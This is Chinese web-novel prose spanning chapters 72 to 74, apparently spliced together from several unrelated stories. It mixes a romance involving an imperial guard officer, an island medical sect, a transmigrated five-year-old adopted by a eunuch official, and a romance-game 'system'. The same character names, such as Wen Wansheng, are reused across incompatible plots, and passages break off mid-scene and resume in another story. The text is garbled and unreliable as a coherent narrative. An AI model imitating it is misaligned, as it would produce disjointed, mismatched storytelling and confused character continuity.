让温晚笙重燃希望的是裴怀璟下一句话:“你既有话想同我说,那便由我送你回温家吧。”他偏头吩咐锦衣卫,“把尸体抬回去。” 温晚笙喊住他:“慢着,我想洗把脸,换一套裙子再离开。” 总不能带血在街上晃,又带血回温家。再说了,陶朱看到还不得炸毛,逮住她问东问西,日后不可能再答应她独自出去。 “是我思虑不周。”裴怀璟闻言又看了温晚笙一眼,脸没露出不耐烦的表情,内心就不知道了。他叫锦衣卫买来一套新裙给她换上。 温晚笙自知麻烦了人家,由衷道谢:“有劳裴大人了。” 待洗净脸,换过新裙,温晚笙随裴怀璟离开阴暗的小院,一前一后走出小巷到灯火通明的大街,烟火气息驱散她身上残余的血腥味。 离宵禁还有半个时辰,街上没先前那么热闹了,大多数摊贩正忙着收拾东西回家,一些还想多赚点银钱的则还在招揽生意。 有小贩凑到温晚笙身边:“姑娘要不要来根冰糖葫芦?” 原本温晚笙想说不用的,但见他只剩下最后一根冰糖葫芦,陶朱又喜欢吃甜食,便掏钱买了。 裴怀璟没催促她,任由她停下来买这根冰糖葫芦。 天子脚下繁荣昌盛,也是达官贵人醉生梦死的地方。高楼红袖飘飘,暖香四溢,时而传出姑娘家恭送客人离去的娇嗔声。 温晚笙循声朝不远处的楼阁看去,看到一群袒胸露乳,浓妆艳抹,头簪大红花的姑娘挥着帕子,凭栏而笑,说客官下次再来的话。 狎妓的男子一走,她们笑容一收,面无表情入屋里去。 她看着这一幕若有所思。 “爱卿此番功在社稷,朕竟一时寻不出相称的封赏。”龙座上的声音顿了顿。 “这思来想去,朝阳也到了适婚之龄,不如” 话音未尽,但满殿文武谁还听不出那弦外之音。 谢衡之让各国细作露出马脚,确是立了功,可若是做了驸马 只有温升荣喜上眉梢。 赶紧的,如此他家笙儿,也就再没什么可胡思乱想的了。 “陛下。”二皇子越过谢衡之,率先笑出声来,“谢大人与朝阳,年岁可是差了将近一轮,怕是说不到一处去。” 皇帝斜睨懒散的儿子一眼,“爱卿以为如何?” “臣,叩谢陛下隆恩。” 青年掀袍跪地,抬首迎上帝王的目光。 “然臣心中,已有属意之人。” 第 72 章 第 72 章 少年半阖着眸子,乌沉沉的瞳仁透过睫毛的缝隙看向她。 温晚笙一点偷亲被撞破的尴尬都没有,坦然地眨了眨眼,“醒了就起来洗漱,该用早饭了。” 话落,她直接在床上站了起来,从他身上跨过去。 步履轻快,落地无声。 看来昨夜并未压到她的伤处。 他们本就该睡在一起。 裴怀璟却看着她:“刚刚不是说有话想同我说?” 温晚笙碎发被风吹起,划过挺直的鼻梁,落下抹淡淡的阴影。风过后,碎发垂落,阴影又消失了,五官就这样袒露在他眼前。 她皮肤的胭脂水粉在小院洗脸被水冲掉了,如今干干净净的,素面朝天,双眼神采飞扬。 裴怀璟缓慢地错开眼。姚蓉蓉问道:“商雪姐姐,你好像很了解烟都得事情,那羽重雪到底是个什么样的人呢?” 谢衡之说道:“他啊,是话本子里的人。” 现代社会的读者精神阈值高,电子鸦|片吸入过量,写书的作者们为了博得读者的眼球,不得不使出浑身解数。 极致的狗血,极致的享受。玉笙居里,谢衡之和裴怀璟刚刚知道羽重雪要登岛的消息。 谢衡之一脸被雷劈过的表情,抱着细雪剑仰头望天。 温晚笙撸起袖子给裴怀璟针灸,裴怀璟被扎成了刺猬,顶着一脑袋亮闪闪的银针嘶哈吸气。 姚蓉蓉一边吃着桃片糕,一边在纸上记录温晚笙下针的穴位,她一心三用,还不忘顺便跟她们吐槽。 “羽朝太子来了,羽落清又要神气了,刚刚我去医宫取药,正碰见羽落清身边的人打听谢衡之的消息呢。” 谢衡之和裴怀璟齐刷刷地转过头看姚蓉蓉。雪白的丝帕沾染了点点血迹。 月扶疏将它浸在冰水里,洗净了血迹敷在温晚笙的额头上。 她脸上的潮红从眼眶处往外晕开,一直蔓延到太阳穴,长长的睫毛被汗水打湿,变成一簇一簇的,贴着眼眶处潮红的肌肤轻轻颤动。 月扶疏把手伸进被子里,被窝里潮乎乎的,温晚笙身上新换不久的衣衫又被汗水打湿了。 他栽植的药草,一向亲力亲为从不假手于人。 犹豫了一会,月扶疏还是亲手给温晚笙新换了一身干爽的贴身衣物。 她这会已经不怎么出汗了,月扶疏把她从床榻上抱起来,侍女们换了一床新的被褥,他这才把温晚笙重新放回被窝里。 这么一通折腾,温晚笙睡得越发不安稳了,她痛苦地张开嘴唇吸气,模模糊糊吐出几句梦呓。 “妈妈” “我要妈妈” “我要回家” 回哪儿去? 回到那个二十两银子就把她卖了的家? 女孩子长得漂亮是件好事,若是漂亮的女孩子生长在穷苦人家那可就不是什么好事了。 温晚笙这个容貌,无论在哪里都会惹人觊觎,不是权势滔天的人根本守不住。 月扶疏摇摇头,心想温晚笙不食人间疾苦,这个从小在碧海潮生长大的小姑娘什么都不懂,以为她的那个家是什么好地方呢。 第二天正午,温晚笙终于醒过来了。 她昏昏沉沉地一睁眼,活动了一下身体后才发现自己正被月扶疏搂在怀里。 她的后背贴着月扶疏的胸膛,一股寒凉的内力传输过来,顺着她体内的经脉游走。 古人云饱暖思淫欲,月扶疏过午不食,内力寒凉无比,从不吃饱饭再加上体温冰冷,温晚笙觉得这是月扶疏没有世俗欲望的主要原因之一。 她也练了与月扶疏相同的内功心法,对这种极阴极寒的内力并不抗拒。 月扶疏内力深不可测,温晚笙忍了又忍,还是忍不住颤抖了一下。 耳边传来男人低沉轻柔的声音:“冷了么?” 温晚笙没说话,把被子掀开一角往里面看了看,她身上换了件浅紫色的丝绸肚兜,上面绣着紫丁香,后背就一根带子系着,几乎完全裸着,紧紧贴着月扶疏的胸膛。 月扶疏给她换衣服,和给药草浇水培土差不多,温晚笙没来仙居殿的时候,每天天不亮他就要起床侍弄那些花花草草,连哪株药草多抽了一个嫩芽都知道。 温晚笙来了仙居殿之后,那些药草就失宠了。 毕竟药草常有,毒太岁不常有。 温晚笙挪了挪身子,腰被月扶疏按住了。 腰侧那里哪是能随便摸的,月扶疏运功的时候手凉的跟冰一样,温晚笙一个激灵,挣扎得更厉害了。 耳畔传来月扶疏无奈的声音:“别动,再忍一会就好。” 温晚笙只好咬牙忍着,又过了小半个时辰,月扶疏才收了内力,他亲手给温晚笙穿好衣衫后,侍女们鱼贯而入送来准备已久的汤药膳食。 温晚笙喉咙肿痛,只喝了一罐冰镇的奶茶,她吃了药后用冰水漱了口,换了件浅紫色的衣裙穿在身上,强打起精神拎起了她的药箱。 月扶疏坐在桌子旁看着她,“又要去玉笙居?” 温晚笙一张脸冷若冰霜,完全把他当透明人。 月扶疏说道:“我昨天只是随口问问,就算你是说气话,也实在不该那样揣测我。” 温晚笙继续无视他,月扶疏知道她脾气大,发起火来不管不顾,想让她服软绝不可能,只能慢慢等她消气。 两年前月扶疏把她囚禁在仙居殿不得外出,她直接放了一把火烧掉了大半个仙居殿,脾性之暴烈,令人瞠目结舌。 看着温晚笙的浅紫色裙摆消失在门外,月扶疏这才想起明日羽朝太子登岛,恐怕又要一番寒暄。 还不等两人问,姚蓉蓉就竹筒倒豆子似的说道:“他师姐谢衡之的蛊毒快犯了,除了我们碧海潮生,外头的人可治不好,她要想活命啊,早晚得来碧海潮生求医。” “那羽落清和她的太子哥哥算准了时间在岛上堵她呢。” 温晚笙额头沁出了一层薄汗,扎完最后一针,她擦干净手,从药箱里拿出一罐冰镇好的牛乳茶,插上一根草杆做成的吸管默默地喝了起来。 裴怀璟和谢衡之闻到奶香味,又齐刷刷地转过头看着她。 温晚笙迟疑了会,换了根新吸管把乳茶递给她们俩。 裴怀璟和谢衡之就着一根吸管,两人你一口我一口,不一会就喝得精光,姚蓉蓉一吃奶制品就拉肚子,还是对八卦更感兴趣,眼睛晶晶地、兴致勃勃地和她们分享着‘羽朝太子和冰山师姐的爱恨情仇\。 “要说年轻一代的剑道天才,最令人瞩目的就是烟都这对师姐弟了,其他人都是陪太子读书,捧个人场罢了。” “谢衡之和太子师弟有一段不可言说的往事,据说太子师弟一直爱慕他的师姐!” 化名商雪的谢衡之说道:“假的。” 姚蓉蓉:“啊?” 谢衡之:“谢衡之是暗卫的女儿,暗卫是他们的奴才,暗卫的女儿是奴才生的奴才,羽朝太子一开始也把她当奴才,这是烟都人人都知道的事。” 姚蓉蓉愣住:“可是我还听说,他们在燕都日夜舞剑,日久生情。” 谢衡之:“假的。” 姚蓉蓉:“啊?” 谢衡之:“羽朝太子年轻气盛,白天比剑输了,晚上还要再比,不跟他比就一直在谢衡之门外吹笛子,谢衡之要是不出来他能折腾一晚上,烦都烦死了,怎么能日久生情,这也是烟都人人都知道的事。” 姚蓉蓉犹疑地说道:“是这样的吗?我还听说谢衡之对羽朝太子爱而不得,由此因爱生恨,特意选在太子师弟生辰那日,一剑刺穿太子师弟的胸膛,好让他刻骨铭心。” 谢衡之:“假的。” 姚蓉蓉:“啊?” 谢衡之:“杀他就杀他,还要挑日子吗?” 疯批的男主,疯狂的心动。 谢衡之说道:“这种狗血文的话本子有个通病,里面的男人语言功能不健全,而且心理扭曲,人格扭曲,三观扭曲,什么事都得拿捏你一下。” 裴怀璟也说道:“我知道,明明是举手之劳的事,非得等着你求他。” 姚蓉蓉眨巴着一双天真的眼睛,问道:“为什么呀?” 温晚笙淡淡说道:“权力带来的支配欲。” 裴怀璟点头:“没错。” 谢衡之很嫌恶地说道:“这帮奇葩以为这是情调,用它来调情,还又自诩深情。” “但凡是个三观正常的女性,都觉得这帮人有那个大病,看见他们的操作就像吞了只苍蝇那么恶心。” 裴怀璟说道:“一个人若想真心对一个人好,不用对方开口,就会把对方所需要的东西送到他面前还生怕不够。” 温晚笙说道:“这是制造激烈冲突的写作手法,但凡男主们性格正常点儿,这本书都写不长,直接he就好了。” 姚蓉蓉静静地听着,时不时若有所思地点点头。 听裴怀璟提及自己拿来当借口的事,温晚笙抬睫望他。 在她换衣期间,裴怀璟也换去了飞鱼服,大约是不想以锦衣卫身份送她,弄得招摇过市,只不过素绸面锦衣也压不住他的好颜色。 路过的百姓不知裴怀璟是官差,只当他是容貌俊俏的贵公子,多看两眼,私下讨论几句他是不是陪心上人出来逛街就过去了。 温晚笙也算从小和他一起长大,看惯了,就是关系不好而已。 她计上心来,对他示弱:“我年少不更事,曾做过不少混账事,在此跟你说一声抱歉。” 裴怀璟很平静,还笑了:“混账事?什么混账事?” “就是……”温晚笙拎着药箱来到玉笙居,开始给谢衡之治疗内伤了。 她一来,就像天仙下凡了似的,满屋子都是仙气。 裴怀璟和谢衡之的目光都快黏在她脸上了,直勾勾地看着她,温晚笙把药箱放好,瞥了她们两个一眼,“看够了没有?” 谢衡之是社恐,立刻面红耳赤,十分羞愧地低下头。 裴怀璟大大咧咧,露出一个灿烂笑容:“多看看,才能对你的美貌免疫啊。“ 温晚笙虽然脸上没什么笑容,但熟悉她的人会知道,她此刻的心情是愉快的。 内伤需要内力医治,越严重的内伤对医治者的内力要求就越高。 谢衡之知道温晚笙医毒双绝,是碧海潮生中仅次于月扶疏的绝世神医,但她并不觉得温晚笙还能抽空修炼内力。 她有点担忧地说道:“我是地鬼境巅峰,你内力够么?如果在治疗途中力竭,对你我来说都很危险。” 温晚笙很淡定地说道:“你放心,我不会让你死的。” 她穿着一身暮山紫衣裙,一头漆黑如瀑的发丝用白色发带系在脑后,随便往哪里一站都有一种云遮雾绕的氛围感。 这么个弱不胜衣的羸弱小仙女,阳光照在她身上都让人担心她被晒化了,裴怀璟不禁也对她的内力修为抱有怀疑。 温晚笙才不管别人怎么想,她把袖子撸到手肘上方用丝带绑紧,对谢衡之说道:“我的内功有点特殊,治疗的时候你得脱了衣裳。” 谢衡之愣住:“全脱吗?” 她成功收获了温晚笙看傻子似的目光,“只露出后背就行,如果你全脱我也不会介意。” 谢衡之有点尴尬。 她迅速脱下衣服,只留一件白色吊带,肩带上有调节长短的金属扣,前胸处缝了一层较厚的布料,正好可以防止凸点,温晚笙看了两眼,有点动心了。 古代的肚兜穿着很不舒服,而且穿着很没有安全感,后面就一根带子系着,放到现代妥妥的情趣play。 温晚笙把一双冰冷的手掌贴在她的后背上开始运功,裴怀璟负责在外面守门,避免外人打扰。 两个女孩的内力同一时间运转起来,谢衡之这才发现温晚笙的内力隐约在她之上,几乎可以媲美初入天人境的高手。 他温声细语打断:“是你说我连舔你脚也不配的事,还是说你扎我小人的事,还是说你给我设陷阱,引我入狼窝的事?” 温晚笙哑口无言,不可否认这些事都是“她”做过的,他居然知道得如此详细,还隐而不发。 “我。”一向口齿伶俐的她竟只说了个我字就说不下去了。 裴怀璟将她脸色尽收眼底。 “我也是的。都是陈年旧事了,提来作甚。我没有怪温七姑娘的意思,你也不要放在心上,很晚了,先回去,莫再提了。” 说完,裴怀璟转身继续往前走,一只柔软的手从后面伸来,拉住了他的手。裴怀璟微怔,回头一看,温晚笙纤瘦五指顺势插入他指间。 裴怀璟半撑着起身,被褥间残留的暖香,若有似无地漫入呼吸。 他静坐片刻,缓缓抬起犹带酸麻的手臂。 良久,那修长的指尖才触上了颊边那道薄痂。 清隽的脸上还有初醒后的空茫,辨不出太多情绪,唯有眉梢处,细微地一动。 如早春湖畔,被风拂过的柳枝。 玄武巨船破开海面,碧波重重,巨浪滔天。 羽重雪睡得很沉。 这连续数日的奔波让重伤未愈的他十分疲倦,伴着淡淡的苦涩药香,他白日里要睡上一两个时辰解乏,同时也避免思虑过度导致的心血损耗。 能让他思虑过度,导致他心血损耗的,自然是谢衡之了。 在睡梦中,烟都的记忆总是一幕一幕在他脑海中浮现。 他九岁来烟都学剑,那一年谢衡之十一岁,师尊对他说:“这是你师姐谢衡之。” 那年七月,烟都地高气寒,别处的梨花早都落了,这里的梨花却仍然开着。 十一岁的少女站在树下,有一双异常平静的丹凤眼,她的眼皮薄薄的,眼尾向上翘,眼珠是漆黑的,有种无法形容的坚硬与坚定,像结了一层霜的石头。 师尊又对谢衡之说道:“这是你重羽师弟。” 他没有叫她师姐,心想她不过是奴婢之女,身份如此卑贱,怎配让羽朝太子唤她师姐。 她却不生气,脸上绽开一个浅浅的笑,笑着叫他:“小重师弟。” 这一声小重师弟,她叫了七年。 后来羽落清来烟都小住,她知道了他的身份,再也不叫他小重师弟了,只有一声冷冰冰的太子殿下。 她和他有了嫌隙,一声不响地搬到山巅的陋室里独居,每日天不亮就在云海中拿着一枝梨花练剑。 他像做贼似的偷偷去山巅,躲在梨树后面偷偷看她。 师尊为了缓和他们之间的关系,把他们二人比剑的时间从每天一个时辰增加到两个时辰。 她买了个能发出声音的计时沙漏,时间一到,也不管他是否尽兴,直接收剑转身就走,他刚发出的剑招只能滞留在半空中无人回应,好像台上的戏子凄凄惨惨地唱着无人应和的戏。 茫然过后,他愤怒地提着剑在身后追赶她。 她永远都一直往前走,永远不会回头,永远都无视他的愤怒和追赶。 他也曾放下自己的骄傲,用哀求的语气求她:“师姐,我们不能和好如初吗?” 她说道:“不能。” 他气急败坏:“你不想要解药么?” 话一出口,羽重雪就后悔了。 谢衡之脸上果然露出一个冷笑:“生有何欢,死亦何惧,我虽然贱命一条,却也没法奴颜婢膝地奉承太子殿下,你把那解药喂狗吧。” 十八岁生辰那日他一身盛装去山巅找她,心里满怀忐忑与不安,打算与她彻夜长谈,心想无论如何也要解开他们之间的嫌隙。 谁能想到,迎接他的是当胸一剑。 “谢什么?” 温晚笙眼神飞快地转了两转,立刻接上,“谢谢你帮我整理房间。” 裴怀璟眼里的笑意深了些,转身从桌上拿起一样东西,递到她面前。 “这张纸,对二小姐好像很重要。” 温晚笙扫了一眼,冷汗顿时涔涔而下。 这不是她以前写给谢衡之的情书吗? 第 73 章 第 73 章 “这是…什么?” 温晚笙强作镇定,想把东西夺回来。 然而少年手臂一抬,并没有如她所愿。 温晚笙不死心地踮起脚尖,又蹦跶了两下,悻悻放弃。 北风寒凛,三两微弱的鸡鸣叫城门外的百姓从瞌睡中惊醒,尚朦胧着双眼就从地上爬起来,又摸着黑,连走带爬地往前头奔去。 温晚笙蜷着身子躲在一块半人高的石头后面,单薄的冬衣根本无法抵御冬日的严寒,她小脸铁青,露在外面的一截小指早已冻得麻木失去知觉。 感觉到身边人站起来,她也只是撩了撩眼皮,又无力地合上。 杨元兴裹着厚厚的棉袍,浑身上下只露出一双眼睛,他受裴围人的影响,也下意识跟着往前走,又努力惦着脚尖,欲看清前面的情况。 至于伏在他脚边的小人儿,未能得他一眼关注。 随着杨元兴的离开,温晚笙身侧直接空了下来,她身子一晃,险些磕倒在地上,还是从身侧刮来的寒风叫她清醒了两分,撑着石块晃晃悠悠地站了起来,茫然四顾,脑子还是糊涂的。 她本欲追着杨元兴赶上去,却不想刚抬脚就被后头的人撞了一跟头。 那些着急进城的百姓哪里顾得上一个小孩儿,不过片刻功夫,温晚笙就被撞了两三回,最后只能退回去用后背抵着石头,这才算站稳了跟脚。 而她眼中也彻底失去了杨元兴的背影。 温晚笙张了张口,瞬间灌进嘴里的冷风叫她忍不住咳嗽起来,胸口阵阵闷痛,连着本就不甚清醒的大脑都发出抗议的嗡鸣。 “快快快,一定要做第一批进城的,才好抢个好位子——” 从她身侧经过的人叽里咕噜讲着话,因话说得太急,又带着口音,温晚笙只勉强能分辨出几个字符,抬头一看,每个人脸上都带着如出一辙的急色。 只见正前方的高大城门已经打开,百姓们全是一窝蜂涌过去,便是遭了官兵呵斥也不肯后退半步,好像生怕自己进不去一样。 温晚笙不明白…… 直到又听温晚笙开口,方从过去的记忆里挣脱出来。 温晚笙不知他是何想法,原先还怕掌印不好说话,但现在看来,他许是有些面冷,但像传闻那般动辄杀伐,似乎也不会。 温晚笙轻轻拍了拍胸口:还好还好,只要不杀掉她就好啦! 她想了想,仰面小声道:“您……阿爹还有其余想问的吗?” 司礼监审讯的本事,足以叫所有知晓它的人胆颤。 作为司礼监最大的头头,时序更是其中佼佼,若他有心,一个四五岁的小丫头,不消半个时辰,就能叫她知无不言。 可不知怎的,他完全说不出将其收押审讯的话来。 时序心想:若这真是他的女儿,这或许就是父女连心吧。 不然他为何会一瞧见温晚笙落泪,心口便一揪一揪得难受。 他站起身,伸出右手,悬在温晚笙面前,声音也不似之前那般阴寒:“来,你先跟我回家。” 说完,他牵起温晚笙的小手,不顾裴围一遭人的目瞪口呆,步伐平缓稳重,不紧不慢向着府中走去。 温晚笙抽了抽鼻子,仰着小脸露出一个灿烂的笑:“嗯!” 却不知她那满是灰尘的脸蛋早被寒风冻僵,她自以为的笑容落在旁人眼中,那是要多牵强有多牵强,也格外叫人怜惜。 她是昨天傍晚跟着舅舅抵达瑞城的。 听人说,瑞城城门日升而开,日落而关,因冬日白天时短,开城门的时间也随之缩短,好多远道而来的旅客走商都会被截下。 温晚笙和杨兴元也是只差了一步,眼睁睁看着城门关紧,而方圆数十里全无人家,就连路边的茶摊都落了灰,瞧着许久没有人来过了。 有那有经验的大商队,早早将废弃的茶摊占下,又派高壮的汉子守在门口,屋里燃起火堆,并不许生人靠近。 便是杨元兴使银子也没能叫对方通融,最后只能骂骂咧咧地找了处避风的地方,又将大棉袍裹紧,歪着身子歇下去。 至于与他同行的温晚笙,他最多是半夜打盹时探探她的鼻息,知道人还有口气,只要不死,是不是冻坏了,就不在他考虑范围了。 这厢开了城门,他也是只顾着自己,转眼就跑没了影儿,全不在乎年仅五岁的小外甥女。 只在温晚笙眼里,城门就在数尺之外,这又是一天之始,无非是早一步晚一步的差别,若只说进城,当天总是能进去的。 舅舅也好,其余百姓也罢,何必争抢这分寸之时? 她歪着脑袋想不明白,反被冷风吹得头晕脑胀,双腿软趴趴的,实在撑不住,只能沿着石头滑坐下去。 就像她不明白这些百姓在急什么,便是对当下的处境,温晚笙还处于半真半假、又或者不愿相信的状态。 也不知这是发生了什么,如何她睡前还在温暖的北欧庄园,睡醒就到了一个屋不避风的偏僻小村子里? 一开始她还以为自己是赶上了什么穿越风尚,可几日过去—— 原身的娘亲垂垂病矣,临终前将她托付给弟弟杨元兴,只说千万记得去寻亲,尚未来得及与她交代只言片语,就撒手故去了。 而后温晚笙一直浑浑噩噩,家里草草办了丧事,没等她缓过神,就被带去北上寻亲,路上一直病了好好了病,风寒烧得她脑袋一片混沌,直至这两天,才勉强找回几分神思。 像那病逝的妇人时杨氏,像那上京寻亲的孤女,以及那恶名远扬的掌印太监……皆都与她刚看完的一本科举官场文不谋而合。 温晚笙恍然大悟,她这可不仅是穿越,更是赶上了穿书的时尚潮流。 书里的主角是一位来自江南的寒门士子,苦读十年,一朝高中,却因其刚正秉性,在官场上屡遭小人陷害,三贬三升。 在他起起落落几十年间,每次贬谪都有司礼监掌印的手笔,若说主角高洁傲岸,那这位掌印便是阴险歹毒,罄竹难书。 到最后,主角众望所归,官至首宰,联抉百官上书弹劾奸宦祸国。 碰巧掌印查出些陈年旧事,发现本以为已遭人陷害而亡的妻子侥幸逃生,还在他入京第二年给他生了一个小闺女。 等他循着线索找去的时候,才知妻子早早过逝,女儿也在进京寻亲的路上被人拐卖进花楼,十三做了富商的外室,没过两年染病而亡,被人随意丢去了乱葬场,早成了一堆枯骨。 掌印因此耽搁了时间,京中事态无法挽回,才抵京城就被下了大狱,之后数罪并罚,褫夺衣冠,处车裂之刑。 也亏得温晚笙从小记性好,过目不忘,这才记住书里许多无关紧要的细枝末节,如今正能与她处境相对应上。 看书时,温晚笙还曾为佞宦的倒台拍手叫好。 但当她疑似穿成掌印下场惨淡的路人甲闺女…… 温晚笙闭上眼,心头一片哇凉,忽然感觉耳边的寒风都不算什么了。 她这厢又冷又绝望,那头的杨元兴却仗着自己个头小,跟个泥鳅似的,一路钻到最前面。 “官爷官爷,敢问官爷——” 杨元兴半弯着腰,一脸谄媚地凑到城门的官兵跟前。 不等对方开口呵斥,他先将衣兜里的荷包掏了出来,忍着心里的肉痛,一把将其塞到官兵手里:“小人的一点心意,还请官爷笑纳。” 官兵拿了荷包,漫不经心地颠了颠重量,虽不甚满意,但也勉强能吃上一顿酒,面对杨元兴的态度也算缓和了两分:“怎么说?” 杨元兴又是拱手拜了拜,谦卑姿态做得十足,随后才问:“劳烦官爷,此处可是瑞城?我听人家说,过了瑞城离着京城就近了,请官爷赐教,这个近是怎么个近法?” 听他只是问些众所裴知的小事,官兵表情更是轻快。 他们忙着检查,只想快快将人打发了去,于是也没再拿乔,利落回答道:“那你可是来对了,咱们瑞城离京城可是顶顶的近!就这么说吧,你从南城门进来,到北城门出去,再奔着北便走上个三两天,抬头就是天子脚下。” “啊?”杨元兴愣住了。 “啊什么啊,你不是要去京城吗?按着我刚才说的去,走上一回就全明白了。”官兵没了耐性,反手推了杨元兴一把,“行了行了,没带什么违规的物件儿吧?把路引出示来……” “从南边来的?这距离可不近……算了算了,直接进去吧。” 看在那点碎银子的份上,官兵没有过多盘问,把杨元兴往里面一推,转头又检查起其余进城百姓来。 杨元兴到底畏惧官兵身上的那身衣裳,缩了缩肩膀,只得作罢。 他随着人流走进瑞城,才踏进城门,忽然想起忘了点什么,下意识往脚下一看,猛一拍脑袋:“哎呦!把那小丫头片子给忘了!” 她的呼吸比刚才急促了些许,强夺不行,只能换一个迂回的方式,“咳咳,这东西你从哪里找到的?” “箱底。”裴怀璟好整以暇地将折痕又抚平了些,轻轻喟叹一声:“果真对二小姐很重要。” 温晚笙现在很懊悔,为什么闲着没事,要让他帮自己整理房间。 更后悔那个时候,她为什么没消灭自己的罪证。 第 74 章 第 74 章 “他,哪个他?” 时光倏忽,一晃就是十日。 温晚笙觉得,这样整天偷偷摸摸和攻略对象私下相见、生怕被人撞破的模样,真的像是谈上了校园恋爱。 可恶的是,她竟然还觉得有点好玩。 任务还是没完成,攻略进度倒是不声不响地往前挪了2%。 现在停在92%。 或许是因为到了最后关头,每前进1%,系统冰冷的机械音就会准时在她脑中响起。 今天,谢令仪总算回来国子监上课了。 就是人瞧着比从前清减了不少,上课的时候,也始终心神不属。 时序不知这短短一个时辰里温晚笙的经历,看见她呆住,也没多想。 他微微低头,正要问温晚笙哪里难受,谁知忽然被对方扑了满怀。 也不知温晚笙从哪里来的力气,竟一下子坐起来,棉被从她身上滑下,她身上的热度透过中衣传到时序手上,依旧灼热得吓人。 时序顾不上追究府医失职,转头厉声道:“还不快点去找大夫!拿着我的腰牌去宫里请御医!” 雪烟不敢迟疑,接过他扔来的腰牌,快跑着从屋里出去。 这边雪烟刚走,温晚笙就放声哭了起来。 她大半个人都靠在时序身上,双手紧紧环住他的胳膊,哭得上气不接下气,嘴里翻来覆去就那几个字,要么是“阿爹救我”,要么是“不要”,极偶尔还会夹杂一两声“舅舅”。 时序揽着她的肩膀,最初只是虚虚地落在她肩上,后来也不知是同情还是怎的,那手终于在温晚笙身上落实,还无师自通地拍打起来。 “好了好了,阿爹在,阿爹就在这儿呢……” 时序只当自己是迫于无奈,才暂时应下阿爹的称呼,却不知旁侧的人是如何错愕。 若他面前能有一面铜镜,他或许还能惊讶的发现,他此时的眉眼格外柔和,眼中虽有焦急之色,但其余无论动作还是言语,俨然一副慈父作态。 受到他的感染,温晚笙虽然还是在哭,但哭声比之前小了许多,迷迷糊糊告着状,断断续续吐出的话语直叫时序黑了脸。 温晚笙呜咽着:“舅舅要卖我……他找陈妈妈,嫌钱少……我不、我不去花楼,我不要——” “阿爹救我,爹爹救救我……囡囡会听话的,救救我吧……” 覆在她肩上的手倏尔收力,又在瞬息后倏尔放开。 时序小心观察着她的神情,见没有将她弄痛,这才悄悄松了口气,但随之而来的就是滔天怒意:“你说杨元兴要将你卖去花楼?” 很显然,温晚笙是回答不了他的问题的。 她仍是絮絮念着,前言不搭后语,连着最先梦境里的遭遇也吐露出来。 “娘亲每天都好累,他们都欺负娘亲,娘亲说等阿爹回来就好了,可阿爹怎么一直一直都不回来呀,囡囡最讨厌阿爹了……我好想娘亲,呜——” “舅舅坏,舅舅总骂娘亲,还骂阿爹,囡囡不是没爹管的孩子……” “我不要银子,也不要阿爹了,我只想要娘亲,娘亲什么时候回来……” “娘亲救我,阿爹救我——” 在她头顶,时序面上一片空白,动作僵硬地低下头来,在看见温晚笙那与记忆中妻子一模一样的唇形后,心头狠狠一震,眼角蓦然滑下一滴泪。 最后温晚笙是生生哭晕过去的。 她便是失去了意识也不忘死死抱住时序的手臂,双眼哭得又红又肿,不时抽噎两声。 半个时辰后,宫里最擅童子科的两位御医结伴而来。 此时时序已收拾好了情绪,单从面容上看,他除了眼尾有些发红,并看不出其他异样。 在宫里当差的,最清楚什么时候该说什么时候不该说,哪怕是掌印府上冒出一个女童来,他们也没有多问一句,只管屏息敛目,本本分分地看诊开药。 片刻,两人从床边退开。 时序问:“两位大人,这孩子是怎么了?” 其中年长些的回答道:“禀掌印,这位姑娘应是梦中惊悸引起的虚热,臣已开了安神方,配以清火药,最多一个时辰就能退热。” “只臣发现这位姑娘身有疾疴,营养不良,日后需精心养护,方有可能补足之前不足。” 时序一颗心才放下不久,又被后半句高高提了起来。 只他转念想到温晚笙迷糊中说的话,想到她这些年的生活,身子不好也不足为奇了。 两位御医下去煎药,待汤药送来,时序接过了喂药的工作,中途多有磕绊,但好歹是把药全部喂下去了,最后又在御医的建议下,用指尖蘸了一点槐花蜜,轻轻抹在温晚笙嘴唇上。 一个时辰后,温晚笙身上的热度总算消了下去。 饶是如此,时序也没从她床边离开,硬是守到天亮,听着她呼吸平缓了,方才站起身来。 无需他多交待,雪烟和云池也是一百个上心。 若说她们之前对温晚笙只是爱护,那在听见时序亲口说出的“阿爹”后,待温晚笙就全然是珍宝一般了,听她呼吸起伏都要紧张一把。 而时序从西厢离开,除了有温晚笙情况良好的原因,更多还是因为得到了暗卫的讯息。 暗卫来报:杨元兴找到了!等温晚笙再恢复意识,已经是晌午后了。 这等天气,寻常人很少会在外面走动,遑论是裹着衣裳在室外过夜。 昨天那是进不来没办法,这不今儿刚来到有人的地方,杨元兴做的第一件事就是找了间客栈,不说要最好的,怎么也要挑个有热水的中等房。 托他那早死姐姐的福,他得了小一百两银子,一半藏在老家床底下,剩下的一半拿来做盘缠,一路吃好喝好,除去特殊情况,他从没亏待过自己。 他姐姐说了,他姐夫是个有能耐的,说不准在京城得了什么机缘,从此做了大官,哪怕这么多年没回来,可看在他亲闺女的份上,肯定也会接济他这个做舅舅一二,再不济了,总要给他些报酬,感谢他送女儿吧? 要不是有这所谓报酬勾着,杨元光才不愿管姐姐留下的拖油瓶,更别提千里迢迢,从大江南找来京城了。 眼下杨元兴住进了烧着暖炉的客栈,温晚笙也能沾点光。 就床边的脚踏上,正好能躺下一个小孩子。 杨元兴难得有了点良心,从床上捡了一床有些发霉的棉被,满是嫌弃的丢在温晚笙身上,自己则是翻身上了床。 屋里暖和,又有了一床小被,温晚笙被冻僵的身体一点点缓和过来,露在外面的小脸红彤彤的,眼睫一颤,猝然睁开了眼睛。 清醒过来的很长一段时间里,温晚笙都是意识放空的。 她没有去探究当下的环境,也没有想那些困扰她许久的现状,只是小心呼吸着微凉的空气,其中还夹着淡淡的炭火味道。 没过多久,她头顶传来震耳的打呼声。 温晚笙不用看都知道,这肯定又是舅舅睡着了。 按理说她这具身体已有五岁了,虽因营养不良长得又瘦又小,可年岁摆在那儿,多少也该顾忌些男女之防。 但显然,杨远光连床都不叫她睡,更别提单独给她开一间房了。 就这样一个睡床一个睡脚踏或地板,也难怪温晚笙的风寒迟迟不好。 同理,被这样的舅舅带着寻亲,也难怪小姑娘会被拐卖。 温晚笙再一次疲惫地合上双眸,久受冻的身体忽然来到温暖的环境中,她明明浑身都痛,可还是有许多念头从四面八方涌现。 一会儿回忆书里与原身有关的零星碎片,一会说服自己接受现实。 等她身体再经受不住纷扰的思绪,脑海中浮现的最后一个念头,反是三五不靠谱的猜测—— 原主的苦难由寻亲开始,那陪她一起寻亲的舅舅呢? 别不是舅舅把她“拐卖”的吧? 这个消息着实有些出乎时序的意料,一问暗卫才知,便是他们找人也没费多少功夫。 